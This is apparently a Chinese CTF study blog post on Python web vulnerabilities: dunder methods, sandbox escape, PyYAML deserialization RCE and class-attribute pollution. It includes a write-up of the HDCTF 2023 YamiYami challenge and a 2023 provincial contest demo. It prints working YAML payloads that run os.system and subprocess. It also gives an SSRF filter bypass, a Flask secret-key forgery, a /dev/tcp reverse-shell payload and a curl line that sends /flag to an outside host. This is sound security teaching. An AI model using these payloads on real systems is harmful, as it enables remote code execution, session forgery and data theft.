python常见漏洞【持续更新】

文件读取正则waf

1.可以用url二次编码文件名进行绕过。
2.貌似还能用一些配置格式进行拼接绕过。

python内置类方法

1.__init__:初始化方法,负责对实例化对象的属性进行初始化,此方法必须返回None。有点类似于构造函数,但它是只负责属性初始化,重写该方法可控制对象的初始化过程。
2.__new__:类的构造方法,用于产生实例化对象(空属性),此方法必须返回一个对象,重写该方法可控制对象的产生过程。该方法特别容易和__init__方法弄混,可以简单的认为new方法用于触发其他类,init方法用于初始化自身类的属性。
3.__class__、__name____class__用于获取对象所属类的属性<class '__main__.Student'>,,而__class__.__name__则用于获取对象所属类的名字Student
4.__str__、__repr__:该两个方法都返回一个对象的必要信息。只不过__str__默认被print调用;而__repr__默认被控制台输出时调用。简单来说一个是给人阅读的,一个是给机器使用的。

class Student:
    def __init__(self, name, age):
        self.name = name
        self.age = age

    def __str__(self):
        return f'{self.__class__}, {self.name}, {self.age}'

    __repr__ = __str__

stu = Student('zlw', 26)
print(stu)

5.__call__:和php类似,当我们把对象当作方法调用时,自动触发该方法。

class CallObj(object):
    def __call__(self, *args, **kwargs):
        print("__call__")
        
obj = CallObj()
print(callable(obj))
obj() # 调用了对象的__call__方法

6.__iter____next__:重写这两个方法就可以实现自定义迭代对象。

7.__getitem__、__setitem__和__delitem__:这三个方法,主要服务于类list、dict类型和key值操作。其中getitem的参数item指的是数组下标,setitem的参数key和value分别是键名和键值,而delitem的key指的也是键名。下面一个demo来演示

class Study:
    li = []
    tr = {}

    def add(self, obj):
        self.li.append(obj)
        self.tr[obj.name] = obj

    def __getitem__(self, item):
        print("getitem:",item)
        return self.li[item]

    def __setitem__(self, key, value):
        print("setitem -value:" ,key,value)
        self.li[key].name = value

    def __delitem__(self, key):
        print("delitem, args:", key)


class Students:
    data = Study()

    def __init__(self, name, age):
        self.name = name
        self.age = age
        self.data.add(self)

    def __str__(self):
        return f'学生:{self.name}'

    __repr__ = __str__


stu1 = Students("xiaom", 17)
stu2 = Students("lim", 20)
stu3 = Students("HAILEI", 21)
stu4 = Students("liun", 19)
print(Students.data[0])
Students.data[2] = "wocao"
print(Students.data[2])
del Students.data[3]
-------------------------------------------------------------
输出结果:
getitem: 0
学生:xiaom
setitem -value: 2 wocao
getitem: 2
学生:wocao
delitem, args: 3

8.__getattr__、__setattr__、__delattr__:当访问不存在的属性时,触发getattr方法;初始化不存在的属性,触发setattr方法;删除不存在属性时,触发delattr方法。注意,在init中没有对对象进行初始化,然后此时对属性进行赋值,会触发调用setattr方法,访问属性则会调用getattr方法,然后就会触发无限循环。所以在类内部,最好用self.__dict__对对象属性进行赋值。

class Student:
    def __getattr__(self, item):
        print('访问一个不存在的属性时候触发')
        return '不存在'

    def __setattr__(self, key, value):
        print('设置一个属性值的时候触发')
        # self.key = value  # 这样会无限循环
        self.__dict__[key] = value

    def __delattr__(self, item):
        print('删除一个属性的时候触发')
        if self.__dict__.get(item, None):
            del self.__dict__[item]


stu = Student()
stu.name = "xiaoming"
print(stu.name)
print(stu.age)
del stu.num

沙盒逃逸常见默认方法

1.__mro__、__base__、__subclasses__():mro(),返回类继承的关系链。base返回类继承的父类。subclasses,返回继承的子类。

2.__globals__:globals()函数,python在运行时提供了一个__globals__字典,它属于一个模块,该模块返回一个全局变量的字典,包括所有导入的变量。
3.dir()方法:用于展示一个对象属性有哪些,没有提供对象时,将导入当前环境的所有模块,例如内建模块__builtins__
4.__builtins__:该模块提供了对python所有内置标识符的直接访问,该模块的命名空间作为初始模块在第一次导入模块时自动创建,加载顺序:内置名称空间------>全局名称空间----->局部名称空间
5.__dict__:提供一个字典,和dir()类似,在导出内建模块拥有的属性时可用。

class X:
    def hello(self):
        print('x')


class Y:
    def hello(self):
        print('y')

    def world(self):
        print('y_world')



class Z:
    def hello(self):
        print('z')



class A(X):
    def hello(self):
        print('a')



class B(Y, Z):
    def hello(self):
        print('b')



class M(B, A):
    pass


print(M.__base__)
print(M.__mro__)
print(Z.__subclasses__())
print(A.__init__.__globals__)
#内置方法并未重写时,默认的数据类型即装饰器为wrapper_descriptor,只有在重写之后才是函数(function),才能具有__globals__属性,当然直接用类中方法A.hello.__globals__也可以返回具有的全局字典。
print(__builtins__.__dict__)

python原型链污染常见默认方法

1.__defults__:以元组的形式用于获取从左到右的函数默认位置和键值形参的默认值。


def test_a(a,b=2,c=3):
    pass

def test_b(a,/,b=2,c=3,d=4):
    pass

def test_c(a,*,c=3):
    pass

print(test_a.__defaults__)
print(test_b.__defaults__)
print(test_c.__defaults__)
--------------------------------------------------------
(2, 3)
(2, 3, 4)
None

2.__kwdefults__:以字典的形式按从左到右收录了函数键值形参的默认值

def test_a(a,b=2,c=3):
    pass

def test_b(a,/,b=2,c=3,d=4):
    pass

def test_c(a,*,c=3):
    pass

print(test_a.__kwdefaults__)
print(test_b.__kwdefaults__)
print(test_c.__kwdefaults__)
----------------------------------------------------------------
None
None
{'c': 3}

沙盒逃逸

1.利用原始的Object类找它继承的所有子类,再用子类筛选出可以利用的载入了可以执行命令的模块的类,其中这些模块或类中的方法包括但不仅限于__builtins__、__import__、os、subprocess、open、eval等
2.内建模块__builtins__往往在全局变量字典__globals__中,当然有时候在部分类中是可以直接导入的。

session伪造

jwt伪造

flask-session-cookie伪造

SSTI模板注入

Flask debug算pin码rce

yaml序列化

官方文档:https://pyyaml.org/wiki/PyYAMLDocumentation
1.介绍:yaml是一种数据序列化格式,类似于xml,但是语法比xml更简单。
2.语法规则:

  • 注释:#
  • 对大小写敏感
  • 使用缩进表示层级关系,左端用空格对齐

语法示例

1.读取list格式

# 下面格式读到Python里会是个list
- Al1ex
- 0
- name : Tester
---------------------------------------------------------------------------
yaml.safe_load输出:
['Al1ex', 0, {'name': 'Tester'}]

2.复合list结构:

- name : guangji
  age : 99
  sex :- name : alice
  age : 55
  sex :---------------------------------------------------------------------------
示例输出:
[{'name': 'guangji', 'age': 99, 'sex': '男'}, {'name': 'alice', 'age': 55, 'sex': '女'}]

3.基本类型:

  • 字符型
  • 整形
  • 浮点型
  • 布尔型
  • 时间
  • 日期
str : "hello world"
int : 50
flout : 3.1415926
bool : true
date : 2023-06-06
--------------------------------------------------------------------------
示例输出:
{'str': 'hello world', 'int': 50, 'flout': 3.1415926, 'bool': True, 'date': datetime.date(2023, 6, 6)}

4.引用使用:和c语言使用引用类似。下列相当于将两个指针均执行了guangji,都是该值的引用。

name: &name guangji
test : *name
---------------------------------------------------------------------
示例输出:
{'name': 'guangji', 'test': 'guangji'}

5.强制类型转换:相当于python中的str()、int()这类,格式为!!+转换类型+要转换的值

int : !!int "7985"
str : !!str 789.2
------------------------------------------------------------------------
示例输出:
{'int': 7985, 'str': '789.2'}

构造、表示、解析器

一、yaml.YAMLObject

官方文档描述:yaml.YAMLObject使用元类魔术来注册一个构造函数,它将一个 YAML 节点转换为一个类实例;以及一个表示器,它将一个类实例序列化为一个 YAML 节点

1.下面是将一个对象转换为yaml节点的代码,其中的yaml_tag是限定转换后的名字。也就是说构造器的原理和作用就是将对象转换为我们自定义的格式。同理,解析器也是将我们构造好的格式,解析为对象。

import yaml

class Students(yaml.YAMLObject):
    yaml_tag = "!Students"

    def __init__(self, name, age):
        self.name = name
        self.age = age

    def __repr__(self):
        return f"{self.__class__.__name__}(name={self.name},age={self.age})"


stu1 = Students("lifei",29)
print(yaml.dump(stu1)

stu2 = yaml.load(
    """
!Students
age: 28
name: haimeimei
    """
,Loader=yaml.FullLoader)
print(stu2)
------------------------------------------------------------------------
!Students
age: 29
name: lifei

Students(name=haimeimei,age=28)

二、yaml.add_constructor和yaml.add_representer

官方文档:如果您不想使用元类,您可以使用函数yaml.add_constructor和yaml.add_representer.
1.先定义一个表示器,然后将其用add_representer函数注册,再输出。

class Students:

    def __init__(self, name, age):
        self.name = name
        self.age = age

    def __repr__(self):
        return f"{self.__class__.__name__}(name={self.name},age={self.age})"

def dice_representer(dumper, data):
    return dumper.represent_scalar(u'!Students', f"name={data.name} ,age = {data.age}")


yaml.add_representer(Students, dice_representer)

stu1 = Students("lifei",29)
print(yaml.dump(stu1))
----------------------------------------------------------------------
!Students 'name=lifei ,age = 29'

2.同理,注册构造器的步骤也是相似的,只不过需要用另一个add_constructor函数。

序列化演示(版本PyYaml>=5.1)

1.我这里用的版本为6.0,有以下序列化方法:

  • yaml.load(file,Loader=yaml.Loader)
  • yaml.load(file,Loader=yaml.FullLoader)
  • yaml.load(file,Loader=yaml.UnsafeLoader)
  • yaml.load_all(file, Loader=Loader)
  • yaml.load_all(file, Loader=UnsafeLoader)
  • yaml.load_all(file,Loader=yaml.FullLoader)
  • yaml.full_load(file)
  • yaml.full_load_all(file)
  • yaml.unsafe_load_all(file)
  • yaml.unsafe_load(file)

漏洞产生原因

1.yaml特有的标签解析处理函数列表,在yaml库中文件yaml/constructor.py其中有三个和对象有关(看注释可以发现):

  • !!python/object:module.name { … state … } ->def construct_python_object
  • !!python/object/apply or !!python/object/new ->def construct_python_object_apply
    2.第一个标签指向的construct_python_object方法直接调用了cls = self.find_python_name(suffix, node.start_mark);第二个标签和第三个标签同样指向的construct_python_object_apply方法也调用了instance = self.make_python_instance(suffix, node, args, kwds, newobj)

3.跟进该方法查看,发现它会根据参数直接生成python类对象或者引入module的类创建对象,从而造成了rce。

    def make_python_instance(self, suffix, node,
            args=None, kwds=None, newobj=False, unsafe=False):
        if not args:
            args = []
        if not kwds:
            kwds = {}
        cls = self.find_python_name(suffix, node.start_mark)
        if not (unsafe or isinstance(cls, type)):
            raise ConstructorError("while constructing a Python instance", node.start_mark,
                    "expected a class, but found %r" % type(cls),
                    node.start_mark)
        if newobj and isinstance(cls, type):
            return cls.__new__(cls, *args, **kwds)
        else:
            return cls(*args, **kwds)

poc

1.于是我们只要控制yaml.load之类的方法的内容,头部设置为那三个标签,就能引入os或者subprocess之类的模块执行命令。

2.但是由于yaml的版本大于5.1,源码可以发现,已经将很多函数删除了这三个标签的引用,只留下了UnsafeConstructor的标签,5.1版本之前的很多poc已经失效了,除非代码用到是unsafe_load函数来加载我们的poc。

3.由于文章中给出的demo在最新版本6.0中已经失效,Loader的选项中删除了Loader模块,所以就直接拿unsafe_load函数做演示。

#当然使用其他两个标签也可以:
!!python/object/apply:subprocess.Popen
- calc

------------------------------------------------------------------
import yaml

f = open("test.yaml", "r", encoding='UTF-8')
data = yaml.unsafe_load(f)
f.close()

print(data)

4.虽然5.1的poc失效,但是只要将它的poc形式进行修改,依旧能被5.1以上的版本使用。如以下的poc:

!!python/object/apply:os.system
- whoami
----------------------------------------------------------------------
import yaml

f = open("test.yaml", "r", encoding='UTF-8')
data = yaml.load(f,Loader=yaml.UnsafeLoader)
f.close()

攻击面拓展

1.虽然直接调用模块执行命令不可行,但是可以用沙盒逃逸的形式来执行命令。就比如在上述沙盒逃逸可用默认方法时提到的内建函数builtins

2.__builtins__模块会在程序第一次加载时自动创建,我们就可以使用筛选该模块中加载了哪些类,其中又有哪些可以执行命令的方法能被我们使用。然后就那三个标签来通过导入该模块中的方法进行命令执行。

3.先利用类属性__getitem__或者getattr函数获得键值,再判断模块是否继承type类型来筛选出可用的类:

import builtins
classes = []
for name1 in __builtins__.__dict__:
    obj = __builtins__.__dict__.__getitem__(name1)
    if isinstance(obj,type):
        classes.append(obj)

print(classes)
-------------------------------------------------------------------
[<class '_frozen_importlib.BuiltinImporter'>, <class 'bool'>, <class 'memoryview'>, <class 'bytearray'>, <class 'bytes'>, <class 'classmethod'>, <class 'complex'>, <class 'dict'>, <class 'enumerate'>, <class 'filter'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'int'>, <class 'list'>, <class 'map'>, <class 'object'>, <class 'range'>, <class 'reversed'>, <class 'set'>, <class 'slice'>, <class 'staticmethod'>, <class 'str'>, <class 'super'>, <class 'tuple'>, <class 'type'>, <class 'zip'>, <class 'BaseException'>, <class 'BaseExceptionGroup'>, <class 'Exception'>, <class 'GeneratorExit'>, <class 'KeyboardInterrupt'>, <class 'SystemExit'>, <class 'ArithmeticError'>, <class 'AssertionError'>, <class 'AttributeError'>, <class 'BufferError'>, <class 'EOFError'>, <class 'ImportError'>, <class 'LookupError'>, <class 'MemoryError'>, <class 'NameError'>, <class 'OSError'>, <class 'ReferenceError'>, <class 'RuntimeError'>, <class 'StopAsyncIteration'>, <class 'StopIteration'>, <class 'SyntaxError'>, <class 'SystemError'>, <class 'TypeError'>, <class 'ValueError'>, <class 'Warning'>, <class 'FloatingPointError'>, <class 'OverflowError'>, <class 'ZeroDivisionError'>, <class 'BytesWarning'>, <class 'DeprecationWarning'>, <class 'EncodingWarning'>, <class 'FutureWarning'>, <class 'ImportWarning'>, <class 'PendingDeprecationWarning'>, <class 'ResourceWarning'>, <class 'RuntimeWarning'>, <class 'SyntaxWarning'>, <class 'UnicodeWarning'>, <class 'UserWarning'>, <class 'BlockingIOError'>, <class 'ChildProcessError'>, <class 'ConnectionError'>, <class 'FileExistsError'>, <class 'FileNotFoundError'>, <class 'InterruptedError'>, <class 'IsADirectoryError'>, <class 'NotADirectoryError'>, <class 'PermissionError'>, <class 'ProcessLookupError'>, <class 'TimeoutError'>, <class 'IndentationError'>, <class 'IndexError'>, <class 'KeyError'>, <class 'ModuleNotFoundError'>, <class 'NotImplementedError'>, <class 'RecursionError'>, <class 'UnboundLocalError'>, <class 'UnicodeError'>, <class 'BrokenPipeError'>, <class 'ConnectionAbortedError'>, <class 'ConnectionRefusedError'>, <class 'ConnectionResetError'>, <class 'TabError'>, <class 'UnicodeDecodeError'>, <class 'UnicodeEncodeError'>, <class 'UnicodeTranslateError'>, <class 'ExceptionGroup'>, <class 'OSError'>, <class 'OSError'>, <class 'OSError'>]

进程已结束,退出代码0

4.这些类中最后能用于执行命令的只要这三个frozenset,bytes,tuple,原因就是那三个标签会调用类中的__new__方法来实例化对象,而这三个类中刚好就有__new__方法,所以才能调用模块来执行命令。

print(dir(tuple))   print(dir(bytes))  print(dir(frozenset))

5.最终文章给出的几条payload:

- !!python/object/new:str
    args: []
    state: !!python/tuple
    - "__import__('os').system('whoami')"
    - !!python/object/new:staticmethod
      args: [0]
      state:
        update: !!python/name:exec

------------------------------------------------------------------------
- !!python/object/new:yaml.MappingNode
  listitems: !!str '!!python/object/apply:subprocess.Popen [whoami]'
  state:
    tag: !!str dummy
    value: !!str dummy
    extend: !!python/name:yaml.unsafe_load

--------------------------------------------------------------------------
!!python/object/new:type
  args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
  listitems: "__import__('os').system('whoami')"

例题:[HDCTF 2023]YamiYami

1./read路由发现ssrf,file协议读取文件file:///etc/passwd;读取启动命令file:///proc/self/cmdline,工作目录在app下;读取源代码,因为这里正则匹配url,需要双写绕过:read?url=file:///a%25%37%30p/a%25%37%30p.py

#encoding:utf-8
import os
import re, random, uuid
from flask import *
from werkzeug.utils import *
import yaml
from urllib.request import urlopen
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = False
BLACK_LIST=["yaml","YAML","YML","yml","yamiyami"]
app.config['UPLOAD_FOLDER']="/app/uploads"

@app.route('/')
def index():
    session['passport'] = 'YamiYami'
    return '''
    Welcome to HDCTF2023 <a href="/read?url=https://baidu.com">Read somethings</a>
    <br>
    Here is the challenge <a href="/upload">Upload file</a>
    <br>
    Enjoy it <a href="/pwd">pwd</a>
    '''
@app.route('/pwd')
def pwd():
    return str(pwdpath)
@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('app.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m:
            return "re.findall('app.*', url, re.IGNORECASE)"
        if n:
            return "re.findall('flag', url, re.IGNORECASE)"
        res = urlopen(url)
        return res.read()
    except Exception as ex:
        print(str(ex))
    return 'no response'

def allowed_file(filename):
   for blackstr in BLACK_LIST:
       if blackstr in filename:
           return False
   return True
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        if 'file' not in request.files:
            flash('No file part')
            return redirect(request.url)
        file = request.files['file']
        if file.filename == '':
            return "Empty file"
        if file and allowed_file(file.filename):
            filename = secure_filename(file.filename)
            if not os.path.exists('./uploads/'):
                os.makedirs('./uploads/')
            file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
            return "upload successfully!"
    return render_template("index.html")
@app.route('/boogipop')
def load():
    if session.get("passport")=="Welcome To HDCTF2023":
        LoadedFile=request.args.get("file")
        if not os.path.exists(LoadedFile):
            return "file not exists"
        with open(LoadedFile) as f:
            yaml.full_load(f)
            f.close()
        return "van you see"
    else:
        return "No Auth bro"
if __name__=='__main__':
    pwdpath = os.popen("pwd").read()
    app.run(
        debug=False,
        host="0.0.0.0"
    )
    print(app.config['SECRET_KEY'])

2.首先是查看/upload路由,这是简单的文件上传功能;关键点是在/boogipop路由,它开始要判断session中的passport值是否为Welcome To HDCTF2023,这里需要进行伪造。

3.查看key的生成规则,发现是用伪随机数生成的;而uuid.getnode()的值就是获取计算机的网卡mac值。百度发现该信息存放在/sys/class/net/eth0/address文件下,读取02:42:ac:02:be:16

4.注意这里是python3,版本不同生成的精度也不同。写一个脚本生成key值:220.758999644,拿生成的key去flask-session-cookie脚本中生成所需的session。

import random
random.seed(0x0242ac02be16)
SECRET_KEY = str(random.random()*233)
print(SECRET_KEY)

5.将生成的session替换,继续查看下面的源码,它会打开我们上传的文件名,然后用full_load函数解析文件,这里就能造成序列化。黑名单和后缀没有关系,因为load读取的是open的文件中数据流内容,并不会解析后缀是否为yaml格式。

6.注意这题并没有将结果回显,所以需要进行curl或者反弹shell。将文件名命名为1.txt,然后在/upload路由中上传。最后再替换session的/boogipop路由中传递/boogipop?file=uploads/1.txt参数进行反弹shell。最后拿上面的链子替换一下命令就行。

- !!python/object/new:str
    args: []
    state: !!python/tuple
    - "__import__('os').system('bash -c \"bash -i >& /dev/tcp/ip/port <&1\"')"
    - !!python/object/new:staticmethod
      args: [0]
      state:
        update: !!python/name:exec

7.反弹成功,在根目录查看flag.sh,发现flag在/tmp目录下,然后cat /tmp/f*即可读取flag。

python原型链污染

概念:和JavaScript的原型链污染一样,python也能做到类属性值的污染。但是由于python部分特殊属性类型限定和安全设置,并不是所有类属性都可以被污染的,不过可见,污染只是污染类属性,不会污染类方法。

合并函数:同样,python的原型链污染也是需要merge合并函数。一样需要使用将特定值污染到属性当中,一个标准的demo如下:

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

污染实例

1.由于python子类会继承父类的属性,而在类中声明的属性是唯一的,所以我们就需要污染这些在多个类、多个实例对象中都唯一的属性,比如类中自定义属性和__开头的内置属性等。
以下是自定义属性污染实例。

class father:
    secret = "haha"

class son_a(father):
    pass

class son_b(father):
    pass

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

instance = son_b()
payload = {
    "__class__" : {
        "__base__" : {
            "secret" : "no way"
        }
    }
}

print(son_a.secret)
#haha
print(instance.secret)
#haha
merge(payload, instance)
print(son_a.secret)
#no way
print(instance.secret)

2.可用看到结果成功污染了类属性和实例对象的属性sercet为no way。同理,将内置属性__str__进行污染也是一样的。修改一下即可

payload = {
    "__class__" : {
        "__base__" : {
            "__str__" : "no way"
        }
    }
}

print(father.__str__)
#<slot wrapper '__str__' of 'object' objects>
merge(payload, instance)
print(father.__str__)#no way

3.正如提到的,并不是所有属性都可以被污染,比如object的属性就无法被污染。但是可以看见,我们python的污染和JavaScript的污染有相似之处,比如都是污染父类,一个是__class__.__base__,一个是__proto__

利用

1.在python中,函数或者类方法均具有一个__globals属性,该属性将函数或类方法所声明的变量空间中的全局变量以字典的形式返回,所以我们使用__globals__来获得全局变量,这样就可以修改无继承关系的类属性甚至全局变量。

2.例如,这个demo,我们设置的全局变量secret_var和a类中的属性secret_class_var均被污染。

secret_var = 114

def test():
    pass

class a:
    secret_class_var = "secret"

class b:
    def __init__(self):
        pass

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

instance = b()

payload = {
    "__init__" : {
            "__globals__" : {
                "secret_var" : 514,
                "a" : {
                    "secret_class_var" : "Pooooluted ~"
                }
            }
        }
    }

print(a.secret_class_var)
#secret
print(secret_var)
#114
merge(payload, instance)
print(a.secret_class_var)
#Pooooluted ~
print(secret_var)
#514

3.已加载模块污染:当我们要污染已加载模块时,我们可以通过获取全局变量的方式来得到目标模块。包括还有一些更加复杂的加载关系,不多赘述。可以在原文中自行参阅。

函数形参默认替换

1.先通过观察函数特定的参数类型使用__defaults__或者__kwdefaults__来获取要污染的形参名称。然后再通过globals获取到函数并对该形参默认值进行替换。

2.用例题演示。

demo:2023年陕西省赛

from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

def evilFunc(arg_1 , * , shell = False):
    if not shell:
        print(arg_1)
    else:
        
        print(__import__("os").popen(arg_1).read())    

class Family:
    def __init__(self):
        pass  

family = Family()

@app.route('/',methods=['POST', 'GET'])
def index():
    if request.data:
        merge(json.loads(request.data), family)
        evilFunc("whoami")
    return "fun"

@app.route('/eval',methods=['GET'])
def eval():
    if request.args.get('cmd'):
        cmd = request.args.get('cmd')
        evilFunc(cmd)
    return "ok"


app.run(host="0.0.0.0",port= 3000,debug=False)

1.该demo和文章中的一致,我们需要污染evilFunc的形参shell为真,然后在/eval路由来执行命令。

2.首先判断形参类型该如何获取,可以看到中间用了*,直接使用__kwdefaults__即可,最后的payload是__init__.__globals__.evilFunc.__kwdefaults__.shell = True。转为json格式:

payload = {
    "__init__" : {
        "__globals__" : {
            "evilFunc" : {
                "__kwdefaults__" : {
                    "shell" : True
                }
            }
        }
    }
}

3.最后执行curl命令读取flag,服务器监听6666端口:?cmd = curl x.x.x.x:6666 -d @/flag

原文链接:

PyYaml反序列化漏洞详解
Python原型链污染变体

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值